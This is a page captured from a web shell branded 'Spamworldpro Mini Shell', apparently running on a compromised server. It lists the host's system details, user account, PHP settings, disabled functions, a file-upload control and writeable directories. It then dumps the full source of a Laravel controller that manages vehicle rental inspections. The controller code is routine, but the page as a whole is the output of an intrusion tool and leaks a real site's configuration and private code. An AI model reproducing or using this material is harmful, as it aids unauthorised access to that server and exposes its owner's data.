Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/rentpix.corals.io/Corals/modules/RentPix/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/rentpix.corals.io/Corals/modules/RentPix/Http/Controllers/InspectionsController.php
<?php

namespace Corals\Modules\RentPix\Http\Controllers;

use Corals\Foundation\Http\Controllers\BaseController;
use Corals\Modules\RentPix\DataTables\InspectionsDataTable;
use Corals\Modules\RentPix\DataTables\Scopes\Driver\DriverInspectionsScope;
use Corals\Modules\RentPix\DataTables\Scopes\Unit\UnitInspectionsScope;
use Corals\Modules\RentPix\Http\Requests\InspectionRequest;
use Corals\Modules\RentPix\Models\Driver;
use Corals\Modules\RentPix\Models\Inspection;
use Corals\Modules\RentPix\Models\Reservation;
use Corals\Modules\RentPix\Models\Unit;
use Corals\Modules\RentPix\Services\InspectionService;
use Corals\Modules\Utility\Facades\ListOfValue\ListOfValues;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\URL;
use Spatie\MediaLibrary\MediaCollections\Models\Media;
use Spiritix\Html2Pdf\Converter;
use Spiritix\Html2Pdf\Input\UrlInput;
use Spiritix\Html2Pdf\Output\DownloadOutput;
use Spiritix\Html2Pdf\Output\EmbedOutput;

class InspectionsController extends BaseController
{
    protected $inspectionService;

    public function __construct(InspectionService $inspectionService)
    {
        $this->inspectionService = $inspectionService;

        $this->resource_url = config('rentPix.models.inspection.resource_url');

        $this->resource_model = new Inspection();

        $this->title = trans('RentPix::module.inspection.title');
        $this->title_singular = trans('RentPix::module.inspection.title_singular');

        $this->corals_middleware_except = ['inspectionDetails', 'inspectionPhotos', 'getInspectionPublicMedia'];

        parent::__construct();
    }

    /**
     * @param InspectionRequest $request
     * @param InspectionsDataTable $dataTable
     * @return mixed
     */
    public function index(InspectionRequest $request, InspectionsDataTable $dataTable)
    {
        return $dataTable->render('RentPix::inspections.index');
    }

    /**
     * @param InspectionRequest $request
     * @return \Illuminate\Contracts\View\Factory|\Illuminate\View\View
     */
    public function create(InspectionRequest $request)
    {
        $inspection = new Inspection();

        $this->setViewSharedData([
            'title_singular' => trans('Corals::labels.create_title', ['title' => $this->title_singular]),
        ]);

        return view('RentPix::inspections.create_edit')->with(compact('inspection'));
    }

    /**
     * @param InspectionRequest $request
     * @return \Illuminate\Http\RedirectResponse|\Illuminate\Routing\Redirector
     */
    public function store(InspectionRequest $request)
    {
        try {
            $inspection = $this->inspectionService->store($request, Inspection::class);

            flash(trans('Corals::messages.success.created', ['item' => $this->title_singular]))->success();
        } catch (\Exception $exception) {
            log_exception($exception, Inspection::class, 'store');
        }

        return redirectTo($this->resource_url);
    }

    /**
     * @param InspectionRequest $request
     * @param Inspection $inspection
     * @return \Illuminate\Contracts\View\Factory|\Illuminate\View\View
     */
    public function edit(InspectionRequest $request, Inspection $inspection)
    {
        $this->setViewSharedData([
            'title_singular' => trans('Corals::labels.update_title', ['title' => $inspection->getIdentifier()]),
        ]);

        return view('RentPix::inspections.create_edit')->with(compact('inspection'));
    }

    /**
     * @param InspectionRequest $request
     * @param Inspection $inspection
     * @return \Illuminate\Http\JsonResponse
     */
    public function update(InspectionRequest $request, Inspection $inspection)
    {
        try {
            $type = $request['type'];
            $reservation = Reservation::query()->find($request['reservation_id']);
            if ($inspection->reservation_id != $reservation->id || $inspection->type->value != $type) {

                $code = sprintf('%s-%s', $reservation->code, strtoupper($type));
                $existsInspection = Inspection::query()->where('code', 'like', $code . "%")->first();

                switch ($type) {
                    case 'start':
                    case 'end':
                        if ($existsInspection) {
                            $message = [
                                'level' => 'error',
                                'message' => "Inspection with code $existsInspection->code exists",
                            ];
                            return response()->json($message);
                        }
                        $request['code'] = $code;
                        break;
                    case 'update':
                        if ($seq = Inspection::query()->where('code', 'like', $code . "%")->count()) {
                            $request['code'] = $reservation->code . "-UPDATE-" . ++$seq;
                        } else {
                            $request['code'] = $reservation->code . "-UPDATE-1";
                        }
                        break;
                }
            }
            $this->inspectionService->update($request, $inspection);

            flash(trans('Corals::messages.success.updated', ['item' => $this->title_singular]))->success();
        } catch (\Exception $exception) {
            log_exception($exception, Inspection::class, 'update');
        }

        return redirectTo($this->resource_url);
    }

    /**
     * @param InspectionRequest $request
     * @param Inspection $inspection
     * @return \Illuminate\Http\JsonResponse
     */
    public function destroy(InspectionRequest $request, Inspection $inspection)
    {
        try {
            $this->inspectionService->destroy($request, $inspection);

            $message = [
                'level' => 'success',
                'message' => trans('Corals::messages.success.deleted', ['item' => $this->title_singular]),
            ];
        } catch (\Exception $exception) {
            log_exception($exception, Inspection::class, 'destroy');
            $message = ['level' => 'error', 'message' => $exception->getMessage()];
        }

        return response()->json($message);
    }

    /**
     * @return \Illuminate\Contracts\View\Factory|\Illuminate\View\View
     */
    public function inspectionDetails(Inspection $inspection)
    {
        $listOfValues = [
            'Prompted Photos' => ListOfValues::get('rentPix_prompted_photos'),
        ];

        return view('RentPix::inspections.details')->with(compact('inspection', 'listOfValues'));
    }

    /**
     * @return \Illuminate\Contracts\View\Factory|\Illuminate\View\View
     */
    public function inspectionPhotos(Inspection $inspection)
    {
        $listOfValues = [
            'Prompted Photos' => ListOfValues::get('rentPix_prompted_photos'),
        ];

        return view('RentPix::inspections.inspection-photos')->with(compact('inspection', 'listOfValues'));
    }

    public function generateInspectionPdf(Request $request, Inspection $inspection)
    {
        $input = new UrlInput();
        $isEmbedOutput = $request->has('embed');

        $viewUrl = URL::signedRoute('inspection-details', [
            'inspection' => $inspection->hashed_id,
        ]);

        $input->setUrl($viewUrl);

        if ($isEmbedOutput) {
            $converter = new Converter($input, new EmbedOutput());
        } else {
            $converter = new Converter($input, new DownloadOutput());
        }

        $converter->setOptions([
            'printBackground' => true,
            'landscape' => true,
            'format' => 'A3',
            'waitUntil' => 'networkidle0',
            'margin' => [
                'top' => '10px',
                'bottom' => '10px',
            ]
        ]);
        $nodePath = config('rentPix.models.inspection.node_path');
        $converter->setNodePath($nodePath);
        $output = $converter->convert();

        $fileName = $inspection->getPdfFileName();
        if ($isEmbedOutput) {
            $output->embed($fileName);
        } else {
            $output->download($fileName);
        }
    }

    /**
     * @param Inspection $inspection
     * @return \Illuminate\Http\JsonResponse
     */
    public function openInspection(Inspection $inspection)
    {
        try {
            $this->inspectionService->updateInspectionStatus($inspection, 'open');
            $message = [
                'level' => 'success',
                'message' => trans('Corals::messages.success.updated', ['item' => $this->title_singular]),
            ];
        } catch (\Exception $exception) {
            log_exception($exception, Inspection::class, 'openInspection');
            $message = ['level' => 'error', 'message' => $exception->getMessage()];
        }

        return response()->json($message);
    }

    /**
     * @param Inspection $inspection
     * @return \Illuminate\Http\JsonResponse
     */
    public function completeInspection(Inspection $inspection)
    {
        try {
            $this->inspectionService->updateInspectionStatus($inspection, 'completed');

            $message = [
                'level' => 'success',
                'message' => trans('Corals::messages.success.updated', ['item' => $this->title_singular]),
            ];
        } catch (\Exception $exception) {
            log_exception($exception, Inspection::class, 'completeInspection');
            $message = ['level' => 'error', 'message' => $exception->getMessage()];
        }

        return response()->json($message);
    }

    /**
     * @param Inspection $inspection
     * @return \Illuminate\Http\JsonResponse
     */
    public function fetchDrivers(Inspection $inspection)
    {
        try {
            $this->inspectionService->fetchInspectionDrivers($inspection);

            $message = [
                'level' => 'success',
                'message' => 'The drivers have been fetched successfully',
            ];
        } catch (\Exception $exception) {
            log_exception($exception, Inspection::class, 'fetchDrivers');
            $message = ['level' => 'error', 'message' => $exception->getMessage()];
        }

        return response()->json($message);
    }

    /**
     * @param Inspection $inspection
     * @param Driver $driver
     * @return \Illuminate\Http\JsonResponse
     */
    public function setPrimaryDriver(Inspection $inspection, Driver $driver)
    {
        try {
            $this->inspectionService->setPrimaryDriver($inspection, $driver);

            $message = [
                'level' => 'success',
                'message' => 'The primary inspection driver have been updated successfully',
            ];
        } catch (\Exception $exception) {
            log_exception($exception, Driver::class, 'destroy');
            $message = ['level' => 'error', 'message' => $exception->getMessage()];
        }

        return response()->json($message);
    }

    /**
     * @param Inspection $inspection
     * @param Driver $driver
     * @return \Illuminate\Http\JsonResponse
     */
    public function switchMediaInspection(Request $request)
    {
        try {
            if (!user()->can('RentPix::inspection.update')) {
                abort(403, trans('Corals::exceptions.403'));
            }

            $this->validate($request, [
                'inspection_id' => 'required',
                'media_id' => 'required',
            ]);

            $inspection = Inspection::query()->findOrFail($request->get('inspection_id'));
            $media = Media::query()->findOrFail($request->get('media_id'));

            $media->model_id = $inspection->id;
            $media->save();

            $message = [
                'level' => 'success',
                'message' => 'The media inspection have been updated successfully',
            ];
        } catch (\Exception $exception) {
            log_exception($exception, Driver::class, 'destroy');
            $message = ['level' => 'error', 'message' => $exception->getMessage()];
            $code = 400;
        }

        return response()->json($message, $code ?? 200);
    }

    public function unitInspections(
        InspectionRequest    $request,
        Unit                 $unit,
        InspectionsDataTable $dataTable
    )
    {
        if ($request->has('tab_html')) {
            $modelDataTable = new InspectionsDataTable();
            $modelDataTable->setResourceUrl($request->url());
            return $modelDataTable->render('layouts.crud.ajax_datatable', ['includeAssets' => true]);
        }

        $dataTable->addScope(new UnitInspectionsScope($unit));

        return $dataTable->renderAjaxAndActions();
    }

    /**
     * @param InspectionRequest $request
     * @param Driver $driver
     * @param InspectionsDataTable $dataTable
     * @return mixed|null
     */
    public function driverInspections(InspectionRequest $request, Driver $driver, InspectionsDataTable $dataTable)
    {

        if ($request->has('tab_html')) {
            $modelDataTable = new InspectionsDataTable();
            $modelDataTable->setResourceUrl($request->url());
            return $modelDataTable->render('layouts.crud.ajax_datatable', ['includeAssets' => true]);
        }
        $dataTable->addScope(new DriverInspectionsScope($driver));

        return $dataTable->renderAjaxAndActions();
    }

    public function getInspectionPublicMedia(Request $request, $mediaId, $view)
    {
        abort_if(!in_array($view, ['prompted-photo', 'driver-photo']), 404);

        $media = Media::query()->findOrFail($mediaId);

        return view('RentPix::inspections.media.' . $view)->with(compact('media'));

    }

    /**
     * @param Request $request
     * @param Inspection $inspection
     * @return \Illuminate\Http\JsonResponse
     */
    public function restore(Request $request, Inspection $inspection)
    {
        try {
            $inspectionCode = $inspection->code;

            $this->inspectionService->restore($request, $inspection);

            $message = [
                'level' => 'success',
                'message' => trans('Corals::messages.success.restore', ['item' => $inspectionCode]),
            ];
        } catch (\Exception $exception) {
            log_exception($exception, Inspection::class, 'restore');
            $message = ['level' => 'error', 'message' => $exception->getMessage()];
            $code = 400;
        }

        return response()->json($message, $code ?? 200);
    }

    /**
     * @param InspectionRequest $request
     * @param Inspection $inspection
     * @return \Illuminate\Http\JsonResponse
     */
    public function hardDelete(InspectionRequest $request, Inspection $inspection)
    {
        try {
            $inspectionCode = $inspection->code;

            $this->inspectionService->hardDelete($request, $inspection);

            $message = [
                'level' => 'success',
                'message' => trans('Corals::messages.success.deleted', ['item' => $inspectionCode]),
            ];
        } catch (\Exception $exception) {
            log_exception($exception, Inspection::class, 'hardDelete');
            $message = ['level' => 'error', 'message' => $exception->getMessage()];
        }

        return response()->json($message);
    }

    /**
     * @param Request $request
     * @param Inspection $inspection
     * @return \Illuminate\Contracts\Foundation\Application|\Illuminate\Contracts\View\Factory|\Illuminate\Contracts\View\View
     */
    public function addNote(Request $request, Inspection $inspection)
    {
        $model = $inspection;
        return view('RentPix::add_note_modal')->with(compact('model'));
    }
}

Spamworldpro Mini